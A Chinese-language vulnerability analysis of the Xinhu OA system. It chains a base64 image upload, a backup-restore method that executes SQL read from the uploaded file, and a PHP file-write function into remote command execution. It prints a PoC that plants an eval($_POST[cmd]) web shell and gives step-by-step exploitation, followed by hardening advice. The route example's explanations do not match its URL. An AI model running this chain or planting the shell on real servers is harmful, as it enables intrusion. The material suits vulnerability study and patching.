从文件写入sql语句到getshell
字数 1497 2025-08-29 08:29:58
从文件写入SQL语句到Getshell漏洞分析与利用
环境搭建
- 源码下载地址: https://github.com/rainrocka/xinhu
- 下载后解压到本地网站根目录下
- 配置好数据库并安装
- 默认密码: admin/123456 (登录后需更改密码)
路由分析
- 使用GET方式接收参数: m, d, a, ajaxbool
rock->jm->gettoken获取令牌- 当
ajaxbool=false时访问xxxAction.php - 当
ajaxbool=true时访问xxxAjax.php
参数说明:
a: PHP文件名(不含Action)d: 动作名(action)m: 目录名(webadmin下的子目录)- 默认值: a=index, d=default, m=空字符串
示例:
index.php?a=deluser&m=imgroup&ajaxbool=true&gid=38&sid=1
m=user: 请求webadmin下的imgroup目录a=list: 请求的方法是deluserajaxbool=true: 这是一个AJAX请求
漏洞分析
文件写入点
文件路径: webmain/main/flow/flowAction.php
createtxt函数是一个文件写入方法,关键代码如下:
function createtxt($modenum, $str){
$path = ''.P.'/mode_'.$modenum.'Action.php';
$bo = file_put_contents($path, $str);
return $bo;
}
漏洞点:
- 如果能控制
$modenum或$rs['name']的内容就可以实现Getshell $modenum同时控制了文件名,所以只能通过控制$rs['name']来Getshell
数据来源分析
$rs数组是从flow_set数据库表获取的。如果能控制name字段,并注释掉前后内容,就能写入恶意代码。
寻找SQL注入点
在webmain/system/beifen/beifenAction.php文件中的huifdatanewAjax方法存在SQL查询漏洞:
function huifdatanewAjax()
{
$sid = $this->rock->post('sid');
$folder = $this->rock->post('folder');
$data = c('xinhu')->getbackdata($folder, $sid);
$tables = $this->db->gettables();
foreach($data as $tab=>$dataarr){
if(!in_array($tab, $tables))continue;
$createsql = $dataarr['createsql'];
$this->db->query($createsql);
}
}
漏洞利用条件:
sid可控且不在数据库表名中- 可以控制文件内容
- 目录
folder也可控
文件上传点
在webmain/flow/flowopt/flowoptAction.php文件中的savetopdfAjax方法:
- 根据
imgbase64上传一个abc.png文件 - 上传PDF文件(默认无此插件会报错,但不影响png上传)
上传的文件位置: upload/logs/2025-03/abc.png
漏洞复现流程
- 使用
savetopdfAjax上传包含恶意SQL语句的图片 - 请求接口触发图片内容中的恶意SQL语句
- 更新数据表中带有payload的
name值 - 触发php文件写入,实现Getshell
详细步骤
-
上传恶意图片:
- 构造POC文件内容为:
<?php return array( 'flow_set' => array( 'createsql' => "UPDATE flow_set SET name='<?php eval($_POST[cmd]);?>' WHERE id=1" ) ); ?> - 通过
savetopdfAjax方法上传为abc.png
- 构造POC文件内容为:
-
触发SQL执行:
- 访问
huifdatanewAjax接口,指定sid=abc.png和正确的folder参数 - 这将执行图片中的SQL语句,更新
flow_set表中的name字段
- 访问
-
触发PHP文件写入:
- 访问
createtxt相关功能,生成mode_zzf08rneAction.php文件 - 文件内容将包含恶意代码
- 访问
-
命令执行:
- 访问生成的PHP文件,通过POST参数
cmd执行任意命令
- 访问生成的PHP文件,通过POST参数
防御建议
- 对文件上传内容进行严格过滤
- 对SQL查询参数进行预编译处理
- 限制数据库操作权限
- 对写入PHP文件的内容进行安全检查
- 禁用危险函数如
eval()